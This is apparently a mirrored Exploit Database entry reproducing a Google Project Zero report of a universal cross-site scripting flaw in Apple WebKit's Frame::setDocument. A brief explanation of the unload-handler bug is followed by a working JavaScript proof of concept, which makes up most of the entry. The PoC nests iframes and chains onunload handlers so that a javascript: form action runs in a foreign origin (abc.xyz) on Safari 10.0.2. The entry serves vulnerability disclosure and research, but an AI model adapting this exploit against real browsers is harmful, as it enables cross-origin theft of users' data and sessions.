Apple WebKit 10.0.2 – ‘Frame::setDocument’ Universal Cross-Site Scripting

• Exploit Database
• 111 阅读

• 作者： Google Security Research
  日期： 2017-02-24
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/41453/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56

  <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057   Here&apos;s a snippet of Frame::setDocument.   void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this);   if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction();   m_doc = newDocument.copyRef(); ... }   Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.   PoC: -->   "use strict";   let f = document.documentElement.appendChild(document.createElement("iframe")); let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));   a.contentWindow.onunload = () => { f.src = "javascript:&apos;&apos;";   let b = f.contentDocument.appendChild(document.createElement("iframe")); b.contentWindow.onunload = () => { f.src = "javascript:&apos;&apos;";   let doc = f.contentDocument;   f.onload = () => { f.onload = () => { f.onload = null;   let s = doc.createElement("form"); s.action = "javascript:alert(location)"; s.submit(); };   f.src = "https://abc.xyz/"; };   }; };   f.src = "javascript:&apos;&apos;";   <!-- Tested on Safari 10.0.2(12602.3.12.0.1). -->